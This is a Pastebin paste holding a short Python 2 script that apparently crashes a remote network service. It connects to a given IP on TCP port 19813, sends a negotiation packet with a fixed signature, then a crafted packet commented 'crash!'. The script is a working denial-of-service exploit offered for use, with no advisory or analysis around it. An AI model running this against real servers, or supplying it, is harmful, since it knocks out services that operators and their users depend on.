Advertisement
Guest User

Untitled

a guest
Jun 19th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.04 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4.  
  5. import socket,struct,sys,os
  6.  
  7.  
  8.  
  9. SIGN=0x04030201
  10.  
  11. cmd=0x01000000
  12.  
  13.  
  14.  
  15. def main():
  16.  
  17.     if len(sys.argv)!=2:
  18.  
  19.         print"\n[x] Usage: python "+sys.argv[0]+" < ip_server >\n"
  20.  
  21.         sys.exit(0)
  22.  
  23.    
  24.  
  25.     else:
  26.  
  27.         host=sys.argv[1],19813  #default port TCP/19813
  28.  
  29.  
  30.  
  31.     if sys.platform=="win32":
  32.  
  33.         os.system("cls")
  34.  
  35.     else:
  36.  
  37.         os.system("clear")
  38.  
  39.    
  40.  
  41.     s=socket.socket()
  42.  
  43.     try:
  44.  
  45.         s.connect(host)
  46.  
  47.         s.recv(1024)
  48.  
  49.     except:
  50.  
  51.         print"[x] Error connecting to remote host! This is g00d :D."
  52.  
  53.         sys.exit(0)
  54.  
  55.     print"[+] Building crafted packets..."
  56.  
  57.     #packet negotiation request
  58.  
  59.     pktnego=struct.pack(">L",cmd+0x1)       #+0
  60.  
  61.     pktnego+=struct.pack("<L",0x00000000)       #+4
  62.  
  63.     pktnego+=struct.pack("<L",SIGN)         #+8 (signature)
  64.  
  65.     #packet crash
  66.  
  67.     pkt1=struct.pack("<L",cmd+0x2)
  68.  
  69.     pkt1+=struct.pack(">L",0x00000001)      # != 0x0
  70.  
  71.     pkt1+=struct.pack("<L",SIGN)
  72.  
  73.     #end   
  74.  
  75.     print"[+] Negotiation."
  76.  
  77.     s.send(pktnego)
  78.  
  79.     s.recv(1024)
  80.  
  81.     s.send(pkt1)#crash!
  82.  
  83.     s.close()
  84.  
  85.  
  86.  
  87. if __name__=="__main__":
  88.  
  89.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement